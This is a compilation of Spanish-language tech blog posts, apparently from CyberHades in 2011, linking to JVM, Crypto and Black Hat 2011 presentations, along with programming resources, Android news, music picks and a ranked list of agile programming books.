
Muy bueno este vídeo. No es la primera vez que twitter se convierte en el principal medio de comunicación de noticias.

Presentaciones de la JVM Language summit 2011

La JVM Language Summit es una colaboración técnica abierta entre diseñadores de lenguajes, escritores de compiladores, creadores de herramientas, ingenieros y arquitectos de la máquina virtual (VM), celebrada en Santa Clara, California los pasados 18 al 20 de julio de este año 2011.

Keynotes
Getting Started Guide Cameron Purdy	Watch Video	Download Slides
Java SE: Moving Java Forward George Saab	Watch Video	Download Slides
Asynchronous Programming in .NET Mads Torgersen	Watch Video	Download Slides
JVM Capabilities
Method Handles and Beyond... John Rose	Watch Video	Download Slides
MethodHandle Implemention Tips and Tricks Dan Heidinga (Materials provided by IBM are owned by IBM and use of such materials is limited to non-commercial use only.)	Watch Video	Download Slides
JSR 292 Cookbook Rémi Forax	Watch Video	Download Slides
The Case for Interface Injection Tobias Ivarsson	Watch Video	Download Slides
Language Implementations on the JVM
Adventures in JSR 292 (Nashorn) Jim Laskey	Watch Video	Download Slides
Adding invokedynamic Support to JRuby Charles Nutter	Watch Video	Download Slides
invokedynamic and Jython -  Shashank Bharadwaj	Watch Video	Download Slides
Rtalk: Smalltalk on the JVM  Mark Roos	Watch Video	Download Slides
The Kotlin Programming Language Andrey Breslav and Dmitry Jemerov	Watch Video	Download Slides; Workshop Slides
Language Features As A Library (Gosu)  Carson Gross	Watch Video	Download Slides
Project Fortress: Bytecode as Intermediate Representation Christine Flood	Watch Video	Download Slides
Java SE 8
From Lambdas to Bytecode Brian Goetz	Watch Video	Download Slides
Virtual Extension Methods Brian Goetz	Watch Video	Download Slides
Emerging Technologies
Graal: A Bytecode Agnostic Compiler for the JVM Thomas Wuerthinger	Watch Video	Download Slides; Workshop Slides
Dynalink: Dynamic Linker Framework for JVM Languages Attila Szegedi	Watch Video	Download Slides
Debugging in 2011 Prashant Deva	Watch Video	Download Slides
jvmtracejit - A trace-jit Compiler for the JVM Sunil Puri	Watch Video	Download Slides

Fuente

Autopsia de un Pentium III

¿Alguna vez te has preguntado que hay dentro de un microprocesador?

En esta magnífica entrada, podemos ver el proceso que al autor siguió para llegar a las entrañas del micro. Éste también nos deleita con unas magníficas fotografías del mismo.

Esto seguro que te ha pasado alguna vez con un USB …

Visto en HTG.

10 captchas con originalidad

Según la wikipedia, un captcha no es un tío fuerte, sino:

Captcha es el acrónimo de Completely Automated Public Turing test to tell Computers and Humans Apart (Prueba de Turing pública y automática para diferenciar máquinas y humanos).

Quizás el captcha más conocido sea reCAPTCHA, no sólo porque cumple son su cometido, sino porque además, cada vez que introduces una palabra en uno de estos, estás ayudando a digitalizar libros.

Zelda Reorchestrated, descarga las canciones de …

Zelda Reorchestrated es un proyecto donde se realizan versiones de todas las canciones aparecidas en la saga de Zelda como si fueran reproducidas por una auténtica filarmónica en un auditorio. Digamos que son versiones perfeccionadas de las originales, con mejores instrumentos y mejor sonido.

Puedes descargar cada álbum o la colección completa, o simplemente escucharlas directamente en tu navegador.

Ideal para acompañar en lecturas de cuentos (a tus hijos antes de dormir), partidas de rol o simplemente para relajarte tú mismo.

Aprende Vim de forma progresiva

El único motivo por el que tengo este fondo de escritorio, es por los comandos de Vim. Yo era de la escuela de Emacs, pero ahora cuando tengo que editar un fichero de texto de forma rápida uso nano.

Pero no puedo dejar de reconocer que el editor de texto que todo administrador de sistemas *nix debe conocer es Vi, porque es el único que aparece en todos o casi todos por defecto.

Presentaciones de la Crypto 2011

Ya nos podemos descargar las presentaciones de la conferencia Crypto 2011 celebrada en Santa Barbara, California los pasados 14 al 18 de agosto.

• Leftover Hash Lemma, Revisited [slides]
• Random Oracle Reducibility [slides]
• Time-Lock Puzzles in the Random Oracle Model [slides]
• Physically Uncloneable Functions in the Universal Composition Framework [slides]
• Computer-Aided Security Proofs for the Working Cryptographer [slides]
• Illegitimi Non Carborundum [slides]
• Optimal Verification of Operations on Dynamic Sets [slides]
• Verificable Delegation of Computation over Large Datasets [slides]
• Secure Computation on the Web: Computing Without Simultaneous Interaction [slides]
• Memory Delegation [slides]
• Automatic Search of Attacks on Round-Reduced AES and Applications [slides]
• How to Improve Rebound Attacks [slides]
• A Cryptanalysis of PRINTcipher: The Invariant Subspace Attack [slides]
• The PHOTON Family of Lightweight Hash Functions [slides]
• Perfectly-Secure Multiplication for any t n/3 [slides]
• The IPS Compiler: Optimizations, Variants and Concrete Efficiency [slides]
• 1/p-Secure Multiparty Computation without Honest Majority and the Best of Both Worlds [slides]
• Leakage-Resilient Zero Knowledge [slides]
• A Comprehensive Evaluation of Mutual Information Analysis Using a Fair Evaluation Framework [slides]
• Key-Evolution Schemes Resilient to Space-Bounded Leakage [slides]
• Generic Side-Channel Distinguishers: Improvements and Limitations [slides]
• Cryptography with Tamperable and Leaky Memory [slides]
• Tutorial Session — Fully Homomorphic Encryption, by Shai Halevi [slides]
• Merkle Puzzles in a Quantum World Classical Cryptographic Protocols in a Quantum World [slides]
• Position-Based Quantum Cryptography: Impossibility and Constructions [slides]
• Analyzing Blockwise Lattice Algorithms using Dynamical Systems [slides]
• Pseudorandom Knapsacks and the Sample Complexity of LWE Search-to-Decision Reductions [slides]
• Tor and Circumvention: Lessons Learned [slides]
• Fully Homomorphic Encryption over the Integers with Shorter Public-Keys [slides]
• Fully Homomorphic Encryption for Ring-LWE and Security for Key Dependent Messages [slides]
• Bi-Deniable Public-Key Encryption [slides]
• Better Security for Deterministic Public-Key Encryption: The Auxillary-Input Setting [slides]
• The Collision Security of Tandem-DM in the Ideal Cipher Model [slides]
• Order-Preserving Encryption Revisited: Improved Security Analysis and Alternative Solutions [slides]
• A New Variant of PMAC: Beyond the Birthday Bound [slides]
• Authenticated and Misuse-Resistant Encryption of Key-Dependent Data [slides]
• Round Optimal Blind Signatures [slides]
• Optimal Structure-Preserving Signatures in Asymmetric Bilinear Groups [slides]
• Constant-Rate Oblivious Transfer from Noisy Channels [slides]
• The Torsion-Limit for Algebraic Function Fields and Its Application to Arithmetic Secret Sharing [slides]
• Public-Key Identification Schemes Based on Multivariate Quadratic Polynomials [slides]
• Inverting HFE Systems is Quasipolynomial for all Fields [slides]
• Smaller Decoding Exponents: Ball-Collision Decoding [slides]
• McEliece and Niederreiter Cryptosystems that Resist Quantum Fourier Sampling Attacks [slides]

Fuente original

Los fantásticos videos educativos de codeschool

Codeschool es la web de un proyecto que básicamente su misión es hacer que aprendas lo más rápido y menos doloroso posible a programar. Está dividido en unidades cada una con un video que contiene preguntas, ejercicios y notas.

Voy a listar los vídeos que más nos han gustado en su canal de YouTube porque son realmente espectaculares (recuerda que puedes activar los subtítulos en cada uno de ellos):

Comparativa de navegadores

En la magnífica página de Tom’s Hardware, han vuelto a hacer una nueva comparativa de los 5 navegadores más usados en sus últimas versiones: Chrome 13, Firefox 6, Safari 5.1, IE 9 y Opera 11.50. Todas las pruebas se han llevado a cabo sobre Windows 7 y Mac OS X Lion.

Este es el índice con las distintas comparativas hechas:

• 1.Crowning A Web-Browsing King In Windows 7 And OS X
• 2.The Contenders
• 3.A Spotlight On Lion's Safari
• 4.Hardware And Test Setup
• 5.Performance Benchmarks: Startup Time
• 6.Performance Benchmarks: Page Load Time
• 7.Performance Benchmarks: JavaScript, DOM, And CSS
• 8.Performance Benchmarks: Flash, Java, And Silverlight
• 9.Performance Benchmarks: HTML5
• 10.Performance Benchmarks: HTML5 Hardware Acceleration And WebGL
• 11.Efficiency Benchmarks: Memory Usage
• 12.Efficiency Benchmarks: Memory Management
• 13.Reliability Benchmarks: Proper Page Loads
• 14.Conformance Benchmarks: HTML5, CSS3, JavaScript, And DOM
• 15.Placing Tables
• 16.Analysis Tables
• 17.Two Winners: One In Windows 7, One in OS X

Concluyen con 2 ganadores, 1 por plataforma. Bajo Windows 7 se lleva el premio Google Chrome y sobre Mac OS X Lion se lo lleva Safari.

Visto en Slashdot

Learning Go, libro gratuito en formato Kindle y …

Go es un lenguaje de programación creado por Google (aquí link al sitio oficial). Es relativamente nuevo y puedes encontrar mucha información por Internet, pero en este enlace hemos visto que Miek Gieben (autor de los libros) ha puesto para su libre descarga un libro sobre Go en dos formatos, PDF y Kindle.

Sólo podemos agradecer desde nuestro blog esta iniciativa del autor.

Ya no tienes excusas para por lo menos, saber de qué va este Go de Google.

Salto base bajo el agua

Espectacular video (artístico y es ficción) rodado en el Dean’s Blue Hole con el campeón de apnea Guillaume Nery.

Visto en Reddit.

The Octopus Project "Truck", para hoy, domingo por …

The Octopus Project, “Truck” del disco “Hello, Avalanche”.

Inni, se presenta lo nuevo de Sigur Rós

Ya casi puedo escuchar la canción del domingo por la mañana de CyberHades ;) y mira por donde he visto esta grata noticia en UniversoPostrock.

Eso sí, de forma muy enigmática, se presenta este vídeo dando un adelanto de lo nuevo de Sigur Rós.

Estoy realmente ansioso por escuchar lo nuevo de mi banda favorita.

Aún puedes apuntarte al curso online gratuito de …

Más de 130.000 personas se han apuntado a este curso online de IA en la Universidad de Stanford impartido por Sebastian Thrun y Peter Norvig.  La duración del curso es desde el 10 de Octubre a 16 de Diciembre de este año. Según la web, habrá un seguimiento y un feedback de cada alumno así como un certificado de realización del curso al final del mismo. También exámenes, trabajos y material de estudio.

Evolución del teléfono móvil (Infografía)

Fuente

Er docu der finde: La historia de las matemáticas …

Código fuente de Halo 2600

En el foro de AtariAge, Ed Fries dejó un post en el que comentaba que para conmemorar el primer aniversario de la presentación de Halo 2600 en la expo de juegos clásicos, ha decidido liberar el código fuente del mismo.

Aquí podéis echar un vistazo a dicho juego. Desde aquí te puedes descargar el código fuente.

Repositorio de scripts de ImageMagick

Si alguna vez has tenido que manipular alguna imagen desde la línea de comandos o algún script o incluso desde una página web, seguro que conoces la joya de la corona: ImageMagick.

ImageMagick es un conjunto de herramientas con la que puedes crear, manipular, componer o convertir imágenes. Actualmente reconoce más de 100 formatos distintos. Como dije antes su uso más común es desde la línea de comandos, pero existen implementaciones para mucho otros lenguajes, desde Ada hasta Tcl/TK, pasando por C, C++, Java, Python, Ruby, etc,

Rooting DroidX with Android 2.3.3 (Verizon)

After Verizon released Gingerbread for the DroidX terminals, the only method known to root your terminal was downgrading to Froyo (Android 2.2), root your phone, download a rooted image of Gingerbread and updating your system with such image. More information here.

But there wasn’t any method that easily could root your phone, even using the well known GingerBreak.

Today a new method to gain root access to the Motorola devices has been released. Although the exploit claim to be for the Droid 3, in the same post we can also read: I identified a vulnerability specific to Motorola devices… Cool! My DroidX is a Motorola device as well, so let’s give it a try.

Los 20 mejores juegos gratuitos para Android

Aquí os dejo una lista de los 20 mejores juegos para Android, a un precio muy económico: gratis.

En el enlace original podéis ver además de una captura de pantalla de cada uno, una pequeña descripción de los mismos.

1. Racing Moto
2. Angry Birds
3. Drag Racing
4. Bubble Blast2
5. Ant Smasher
6. Fruit Slice
7. Paper Toss
8. Mouse Trap
9. Tap Fish
10. Yoo Ninja
11. X Construction lite
12. SpeedX
13. Blast Monkey
14. WordFeud
15. Live Holdem Poker
16. Air Control Lite
17. Jewels
18. Inotia3
19. Tank Hero
20. Bug Village

Lista sacada de esta web

Entorno vulnerable Android

Todos o casi todos conocéis OWASP (Open Web Appication Security Project) y además muchos también conocéis WebGoat, una aplicación web escrita en J2EE con errores de seguridad específicos con la cual podemos afinar nuestras habilidades y/o herramientas.

Pues bien, ahora también tenemos owasp-goatdroid. Un entorno vulnerable escrito totalmente en Java. Actualmente se encuentra en versión beta y sólo disponemos de un servicio web RESTful totalmente funcional, así como una aplicación para probarlo. El servicio web correo sobre un servidor Jetty embebido, por lo tanto no necesitas instalar ningún servidor web. Eso sí, necesitarás MySQL, las SDK de Android y Eclipse.

Tron Legacy y el hacking de Hollywood

Seguro que muchos de los que nos leéis habéis visto la película Tron Legacy que llegó a la pantalla gigante el año pasado.

Ya en este tipo de películas “geek” estamos acostumbrados a ver a algún hacker delante de un ordenador y de repente todo se llena de colorines y símbolos raros y todo se pone a dar vueltas, como por ejemplo en Hackers. Pero poco a poco, Hollywood ha ido cambiando esa imagen de película futurista por algo más real como podemos ver en The Matrix, Bourne Ultimatum, La jungla de cristal 4, etc donde hacen uso de nmap y ssh en algunas ocasiones.

Un millón de años, de On Kawara

Foto: CyberHades realizada en el MOMA de NY

El otro día vimos una entrada en nuestra querida Microsiervos sobre un libro "A Million Random Digits" que nos recordó a otro libro (realmente es una colección de varios) que vimos en el MOMA de Nueva York hace unos días.

Esta colección tiene dos partes de 10 volúmenes cada una y el artista es el misterioso On Kawara (sabemos mucho de su obra y de su vida personal pero no sabemos cómo es ya que nunca ha dado una entrevista ni habla en público).

Editor de ensamblador MIPS con simulador incluido

MARS (MIPS Assembler and Runtime Simulator) es un IDE (entorno de desarrollo integrado) que soporta el lenguaje ensamblador MIPS y además integra un simulador de ejecución a la vez.

Es un proyecto orientado a la enseñanza. Está escrito en Java y requiere por lo menos la versión 1.5 de éste. Algunas de las características son:

• Depuración paso a paso
• Permite editar múltiples ficheros (pestañas)
• Uso de breakpoints
• Mostrar los valores en hexadecimal o decimal
• Línea de comandos para evaluación rápida de los programas
• Control de velocidad de ejecución
• Registros de coma flotante

Para ver las características por cada versión liberada: aquí.

Lo puedes descargar desde esta página. Y aquí tienes algo de documentación y algunos ejemplos.

Conoce tu red

Con ese título han ido publicando en Lifehacker (Know your network) una serie de artículos, concretamente 5, sobre los conceptos básicos que necesitas saber para ajustar tu red a tus necesidades.

Comenzando con la compra del router, en el primero de los artículos Router Hardware 101, dónde hablan de algunas de las características a tener en cuenta a la hora de la adquisición del mismo.

En el segundo de los artículos: Entendiendo la página de administración de tu router, información esencial, ya desde la misma configuraremos nuestro router. En el artículo nos explican como configurar el nombre del router y su importancia, así como la configuración de la red inalámbrica, el uso de NAT y algunas de las opciones de seguridad a tener en cuenta.

El "link" más largo

Diseño de una camiseta de Threadless.

Genial. Visto en RampageReality.

Repositorio de vídeo tutoriales

www.thenewboston.com es un sitio web dedicado a recopilar todo tipo de vídeos educativos sobre diferentes materias. Tienen un canal en youtube dónde podemos encontrar, actualmente, más de 2000 vídeos.

Esta es la lista actual de los vídeo tutoriales que podemos encontrar en dicho canal:

• 3Ds Max 2010
• Adobe After Effects
• Advanced UDK
• Algebra
• Android Application Development
• Basic Math
• Battlefield Bad Company 2 Online Multiplayer
• Beginner Backgammon
• Beginner Javascript
• Beginner PHP 
• Beginner UDK 
• C Programming 
• C++ NEW 
• C++ OLD 
• Call of Duty: Modern Warfare 2 Gameplay 
• Cocos2D iPhone 
• Computer Game Development 
• Dreamweaver CS4 
• Geometry 
• How to Build a Computer 
• Intermediate Java 
• Introduction to Biology 
• Introduction to Geometry 
• iPhone Development 
• Java Game Development 
• Java Programming 
• jQuery 
• Objective C 
• PHP 
• Physics 
• Python 
• Surviving the Wilderness 
• Visual Basic 
• XHTML & CSS

La última adición a dicha lista es la de desarrollo de aplicaciones Android, que contiene ni más ni menos que 200 vídeos sobre el tema, creados por mybringback, el cual también tiene su canal en youtube.

Guía para principiantes de Shell Script, cuarta …

Esta vez hablan de “Condiciones, estamentos if-then”

Primera parte

Segunda parte

Tercera parte

The Kills, Tape Song, para este domingo sofocante …

Canción de domingo por la mañana, para recordar que hace una semana vimos en directo a The Kills en Nueva York. Pedazo de concierto con unos teloneros igual de increibles, The Pains of Being Pure At Heart.

The Kills.

Guía para principiantes de Shell Script, tercer …

 

Tercera entrega de este completo curso de Shell Script de How To Geek.

Se titula “Más comandos básicos y cadenas”.

No te pierdas las otras entregas:

Primera parte

Segunda parte

Ayuda a Don Ramón y Perchita

En CyberHades somos fans absolutos del gran Niko (@nikotxan), por eso cuando hemos visto en el blog de Chema que se ha creado una web llamada lanzanos.com para recaudar fondos y una nueva serie de Don Ramón y Perchita salga adelante, no hemos dudando en apoyar el nuevo proyecto.

Microhistorias: la disquetera 3,5" de Apple y el …

(foto Wikipedia)

Vale vale, es un poco rebuscado el título pero cuando leas esta Microhistoria lo comprenderás. Hace tiempo que no hablaba en una Microhistoria de nuestro querido Steve Jobs y su peculiar forma de ver las cosas.

Volvamos a Apple en 1980. En esta época se creó un departamento llamado “Disk Division” dedicado exclusivamente a fabricar la disquetera de 5 ¼ diseñada por el genio Woz (por cierto, esta disquetera del Apple II dicen que es uno de los mejores aparatos electrónicos diseñado nunca). Esta división trabajaba en un nuevo proyecto llamado en clave “Twiggy” donde se quería cuadriplicar la capacidad de almacenamiento de los discos.

La forma más divertida (e interactiva) de aprender …

Dando un paseo por Reddit, he visto este post que habla sobre una web donde puedes aprender Javascript de una forma bastante divertida. La web ofrece un curso completo gratuito para programar donde además puedes ir guardando tus progresos (puedes crearte una cuenta). Las lecciones siempre se realizan utilizando una consola de comando. Los resultados de los ejercicios aparecen de forma inmediata, y esto además de motivar lo hace más claro para programadores nóveles.

Hoy es el Día Mundial de la Fotografía

La omnipresencia de las cámaras insinúa de modo persuasivo que el tiempo consiste en acontecimientos interesantes, dignos de fotografiarse. Esto a su vez permite sentir fácilmente que a cualquier acontecimiento, una vez en marcha, y sea cual fuera su carácter moral, debería permitírsele concluir para que algo más pueda añadirse al mundo, la fotografía. Una vez terminado el acontecimiento, la fotografía aún existirá, confiriéndole una especie de inmortalidad (e importancia) de la que jamás habría gozado de otra manera.

Susan Sontag.

Er docu der finde: La historia de las matemáticas …

Lifehacker Workspace Show and Tell (fotos de …

No se a vosotros pero a mi me gusta ver cómo tienen montado sus ordenadores otras personas en sus espacios de trabajo. Me gusta ver las habitaciones, la distribución, los cables, etc de esta forma a veces veo ideas que aplico al que tengo yo en casa y en el trabajo.

En CyberHades hemos publicado algunas de estas configuraciones de escritorio, pero si no tienes suficiente y quieres verlas todas pulsa en este enlace que te enviará a Flickr donde están las fotos que la gente ha subido a Lifehacker con sus espacios de trabajo personales.

Juice-Jacking, ten cuidado al cargar tu smartphone …

 En la Defcon de este año parece que han vuelto a engañar a unos pocos y de paso bautizar una nueva amenaza para la seguridad de nuestros dispositivos portátiles, el Juice-Jacking. Hace un par de años pusieron un cajero automático falso y este año han colocado un punto de recarga por USB (puedes verlo en la foto), también falso. Todo el mundo se pasa en la Defcon esquivando las redes Wifi, puntos de red, cajeros automáticos falsos, etc, por motivos de seguridad. Pero por lo menos 360 personas (casi todos hackers y expertos en seguridad) conectaron su móvil, ipad o lo que sea a este punto de recarga. Al parecer no nos parece peligroso conectarlo para cargar la batería pero los riesgos son muchos. Al conectarlo a un puerto USB dejas expuesta toda tu información y se podrían descargar desde tu dispositivo fotos, videos, emails, etc. Y en el peor de los casos, también te podrían infectar con un malware.

Presentaciones de la Black Hat 2011

Ya disponemos de las presentaciones que se dieron en la Black Hat 2011. Os dejo el listado de las charlas a las que han subido la documentación:

• How a Hacker Has Helped Influence the Government - and Vice Versa Video
• Faces Of Facebook-Or, How The Largest Real ID Database In The World Came To Be White Paper Slides Video
• Security When Nano-seconds Count White Paper Slides
• Automated Detection of HPP Vulnerabilities in Web Applications White Paper Slides
• Exploiting Siemens Simatic S7 PLCs White Paper Slides
• Femtocells: A poisonous needle in the operator's hay stack White Paper
• Post Memory Corruption Memory Analysis White Paper
• Beyond files undeleting: OWADE White Paper Slides
• Physical Memory Forensics for Cache White Paper Slides
• Lives On The Line: Defending Crisis Maps in Libya, Sudan, and Pakistan White Paper Slides
• Legal Aspects of Cybersecurity–(AKA) CYBERLAW: A Year in Review, Cases, issues, your questions my (alleged) answers White Paper Slides
• Apple iOS Security Evaluation: Vulnerability Analysis and Data Encryption White Paper Slides
• Mobile Malware Madness, and How To Cap the Mad Hatters White Paper Slides
• USB: Undermining Security Barriers White Paper Slides
• Bit-squatting: DNS Hijacking without exploitation White Paper Slides
• Virtualization Under Attack: Breaking out of KVM White Paper Slides
• Exploiting the iOS Kernel White Paper Slides
• Spy-Sense: Spyware Tool for Executing Stealthy Exploits Against Sensor Networks White Paper Slides
• The Law of Mobile Privacy and Security Slides
• Smartfuzzing The Web: Carpe Vestra Foramina White Paper Slides
• Hacking Google Chrome OS White Paper Slides
• Don't Drop the SOAP: Real World Web Service Testing for Web Hackers White Paper Slides Archivo1 Archivo2
• Chip & PIN is definitely broken White Paper Slides
• ARM exploitation ROPmap Slides
• Windows Hooks of Death: Kernel Attacks Through User-Mode Callbacks White Paper Slides
• SSL And The Future Of Authenticity Video
• Hacking .Net Applications: The Black Arts White Paper Slides Archivo
• Covert Post-Exploitation Forensics With Metasploit White Paper Slides
• Vulnerabilities of Wireless Water Meter Networks White Paper Slides
• Battery Firmware Hacking White Paper Slides
• Owning the Routing Table: New OSPF Attacks White Paper Slides Archivo
• Exploiting USB Devices with Arduino White Paper Slides
• A Crushing Blow At the Heart of SAP J2EE Engine White Paper Slides
• Hacking Medical Devices for Fun and Insulin: Breaking the Human SCADA System White Paper Slides
• Attacking Clientside JIT Compilers White Paper Slides
• Playing In The Reader X Sandbox White Paper Slides
• Inside Apple's MDM Black Box White Paper Slides Archivo
• Reverse Engineering Browser Components: Dissecting and Hacking Silverlight, HTML 5 and Flex White Paper Slides
• Sour Pickles White Paper Slides
• Macs in the Age of the APT Slides
• Server-Side JavaScript Injection: Attacking NoSQL and Node.js White Paper Slides
• Corporate Espionage for Dummies: The Hidden Threat of Embedded Web Servers White Paper Slides
• Staring into the Abyss: The Dark Side of Security and Professional Intelligence White Paper
• Weapons of Targeted Attack: Modern Document Exploit Techniques White Paper Slides
• Constant Insecurity: Things you didn't know about (PE) Portable Executable file format White Paper Slides
• Sticking to the Facts: Scientific Study of Static Analysis Tools White Paper Slides
• The Rustock Botnet Takedown White Paper Slides
• Vulnerability Extrapolation or 'Give me more Bugs like that, please?' White Paper Slides
• WORKSHOP - Investigating Live CDs using Volatility and Physical Memory Analysis Slides
• WORKSHOP - Easy and quick vulnerability hunting in Windows Slides
• WORKSHOP - Binary Instrumentation Workshop for Security Experts Slides Archivo
• WORKSHOP - Infosec 2021: A Career Odyssey White Paper
• Affiliate Programs: Legitimate Business or Fuelling Cybercrime? White Paper Slides
• Overcoming iOS Data Protection to Re-enable iPhone Forensic White Paper Slides
• PPI-Geolocation: The Next Generation of 802.11 Visualization and Geo-Location White Paper Slides Archivo
• Killing the Myth of Cisco IOS Diversity: Towards Reliable, Large-Scale Exploitation of Cisco IOS White Paper Slides
• IEEE Software Taggant System Slides
• OAuth – Securing the Insecure White Paper Slides
• Heap Spray Detection with Heap Inspector White Paper Slides Archivo
• Function Rerouting from Kernel Land "Hades" White Paper Slides

Enlace original.

20 años de Linux (Infografía)

Fuente

Enter the dungeon?

Vía HTCARU.

Programador hiperpolíglota

Según la wikipedia:

El termino políglota (del griego "poly" = muchos y "glossa" = lengua) hace alusión a aquella persona versada en más de cinco idiomas o al texto escrito en varias lenguas. Una persona bilingüe puede hablar dos idiomas fluidamente, una trilingüe, tres. Alguien que pueda hablar seis, siete o más idiomas se conoce como hiperpolíglota.

Si aplicamos dicha definición a la informática, podríamos decir que un hiperpolíglota es aquel sabe programar de forma fluida en más de 5 lenguajes de programación. Tal y como se mueve la tecnología hoy en día, conocer de forma fluida 3 lenguajes ya es un reto.

En el sitio web Hyperpolyglot han agrupado varias hojas de referencias agrupadas por el tipo de lenguaje, dónde comparan codo a codo las operaciones básicas de cualquier lenguaje de programación y nos explican como se realizan en cada uno de ellos.

100 mejores libros sobre programación ágil

En esta entrada recopilan una lista del top 100 de libros sobre programación ágil. Metodología que ganado muchos adeptos en los últimos años, aunque como todo en la vida también tiene sus detractores.

TY	LY	Título	Autor(es)	Año
1	5	The Art of Unit Testing: With Examples in .Net	Roy Osherove	2009
2	1	Agile Estimating and Planning	Mike Cohn	2005
3	3	Working Effectively with Legacy Code	Michael Feathers	2004
4	8	Kanban: Successful Evolutionary Change for Your Technology Business	David J. Anderson	2010
5	9	Succeeding with Agile: Software Development Using Scrum	Mike Cohn	2009
6	2	Clean Code: A Handbook of Agile Software Craftsmanship	Robert C. Martin	2008
7	6	Agile Software Development, Principles, Patterns, and Practices	Robert C. Martin	2002
8	4	Refactoring: Improving the Design of Existing Code	Martin Fowler, et al.	1999
9	-	The Agile Samurai: How Agile Masters Deliver Great Software	Jonathan Rasmusson	2010
10	7	The Pragmatic Programmer: From Journeyman to Master	Andrew Hunt, David Thomas	1999
11	11	User Stories Applied: For Agile Software Development	Mike Cohn	2004
12	10	Growing Object-Oriented Software, Guided by Tests	Steve Freeman, Nat Pryce	2009
13	32	The Principles of Product Development Flow: Second Generation Lean Product Development	Donald G. Reinertsen	2009
14	14	The Art of Agile Development	James Shore, Shane Warden	2007
15	23	Scrum and XP from the Trenches	Henrik Kniberg	2007
16	12	Lean Software Development: An Agile Toolkit	Mary Poppendieck, Tom Poppendieck	2003
17	13	Domain-Driven Design: Tackling Complexity in the Heart of Software	Eric Evans	2003
18	16	Agile Principles, Patterns, and Practices in C#	Robert C. Martin, Micah Martin	2006
19	17	Agile Testing: A Practical Guide for Testers and Agile Teams	Lisa Crispin, Janet Gregory	2009
20	24	Implementing Lean Software Development: From Concept to Cash	Mary Poppendieck, Tom Poppendieck	2006
21	18	Practices of an Agile Developer: Working in the Real World	Venkat Subramaniam, Andy Hunt	2005
22	15	Making Things Happen: Mastering Project Management	Scott Berkun	2008
23	57	Beautiful Testing: Leading Professionals Reveal How They Improve Software	Adam Goucher, Tim Riley	2009
24	19	Behind Closed Doors: Secrets of Great Management	Johanna Rothman, Esther Derby	2005
25	34	Crystal Clear: A Human-Powered Methodology for Small Teams	Alistair Cockburn	2004
26	28	Agile Coaching	Rachel Davies, Liz Sedley	2009
27	20	Applied Software Project Management	Andrew Stellman, Jennifer Greene	2005
28	21	Agile Project Management: Creating Innovative Products (2nd Edition)	Jim Highsmith	2009
29	22	xUnit Test Patterns: Refactoring Test Code	Gerard Meszaros	2007
30	31	Manage Your Project Portfolio: Increase Your Capacity and Finish More Projects	Johanna Rothman	2009
31	26	Writing Effective Use Cases	Alistair Cockburn	2000
32	-	Specification by Example: How Successful Teams Deliver the Right Software	Gojko Adzic	2011
33	41	Managing the Design Factory	Donald G. Reinertsen	1997
34	-	The Clean Coder	Robert C. Martin	2011
35	29	Agile Retrospectives: Making Good Teams Great	Esther Derby, Diana Larsen	2006
36	39	Agile Project Management with Scrum	Ken Schwaber	2004
37	30	Agile Adoption Patterns: A Roadmap to Organizational Succes	Amr Elssamadisy	2008
38	27	Refactoring to Patterns	Joshua Kerievsky	2004
39	40	Extreme Programming Explained: Embrace Change (1st+2nd Edition)	Kent Beck, Cynthia Andres	1999
40	37	The Productive Programmer	Neal Ford	2008
41	60	Agile Product Management with Scrum: Creating Products that Customers Love	Roman Pichler	2010
42	25	Agile and Iterative Development: A Manager's Guide	Craig Larman	2003
43	68	Stand Back and Deliver: Accelerating Business Agility	Pollyanna Pixton, Niel Nickolaisen, Todd Little, Kent McDonald	2009
44	-	The Elements of Scrum	Chris Sims, Hillary Louise Johnson	2011
45	-	Management 3.0: Leading Agile Developers, Developing Agile Leaders	Jurgen Appelo	2011
46	47	Test Driven Development: By Example	Kent Beck	2002
47	36	Agile Software Development with Scrum	Ken Schwaber, Mike Beedle	2001
48	-	The Concise Executive Guide to Agile	Israel Gat	2010
49	48	Continuous Integration: Improving Software Quality and Reducing Risk	Paul M. Duvall, Steve Matyas, Andrew Glover	2007
50	-	Continuous Delivery: Reliable Software Releases through Build, Test, and Deployment Automation	Jez Humble, David Farley	2010
51	35	Requirements by Collaboration	Ellen Gottesdiener	2002
52	42	Manage It!: Your Guide to Modern, Pragmatic Project Management	Johanna Rothman	2007
53	45	Scaling Lean & Agile Development: Thinking and Organizational Tools for Large-Scale Scrum	Craig Larman, Bas Vodde	2008
54	38	Organizational Patterns of Agile Software Development	James O. Coplien, Neil B. Harrison	2004
55	43	Leading Lean Software Development: Results Are not the Point	Mary Poppendieck, Tom Poppendieck	2009
56	51	Ship it! A Practical Guide to Successful Software Projects	Jared Richardson, William A. Gwaltney	2005
57	86	Kanban and Scrum - Making the Most of Both	Henrik Kniberg, Mattias Skarin	2010
58	71	Coaching Agile Teams: A Companion for ScrumMasters, Agile Coaches, and Project Managers in Transition	Lyssa Adkins	2010
59	49	Collaboration Explained: Facilitation Skills for Software Project Leaders	Jean Tabaka	2006
60	55	Beyond Software Architecture: Creating and Sustaining Winning Solutions	Luke Hohmann	2003
61	50	Changing Software Development: Learning to Become Agile	Allan Kelly	2008
62	80	Innovation Games: Creating Breakthrough Products Through Collaborative Play	Luke Hohmann	2006
63	70	Just Enough Requirements Management: Where Software Development Meets Marketing	Alan Mark Davis	2005
64	52	Agility and Discipline Made Easy: Practices from OpenUP and RUP	Per Kroll, Bruce MacIsaac	2006
65	61	Implementation Patterns	Kent Beck	2006
66	62	Extreme Programming Installed	Ron Jeffries, Ann Anderson, Chet Hendrickson	2000
67	56	Beautiful Teams: Inspiring and Cautionary Tales from Veteran Team Leaders	Andrew Stellman, Jennifer Greene	2009
68	53	Refactoring Databases: Evolutionary Database Design	Scott W. Ambler, Pramodkumar J. Sadalage	2006
69	88	Bridging the Communication Gap: Specification by Example and Agile Acceptance Testing	Gojko Adzic	2009
70	58	Managing Agile Projects	Sanjiv Augustine	2005
71	46	Agile Software Development: The Cooperative Game (2nd Edition)	Alistair Cockburn	2006
72	81	Agile Management for Software Engineering: Applying the Theory of Constraints for Business Results	David J. Anderson	2003
73	73	Becoming Agile: ...in an Imperfect World	Greg Smith, Ahmed Sidky	2008
74	66	Emergent Design: The Evolutionary Nature of Professional Software Development	Scott L. Bain	2008
75	75	Test Driven: TDD and Acceptance TDD for Java Developers	Lasse Koskela	2007
76	83	The Software Project Manager's Bridge to Agility	Michele Sliger, Stacia Broderick	2008
77	-	Lean-Agile Acceptance Test-Driven Development: Better Software Through Collaboration	Ken Pugh	2011
78	63	Agile Excellence for Product Managers: A Guide to Creating Winning Products with Agile Development Teams	Greg Cohen	2010
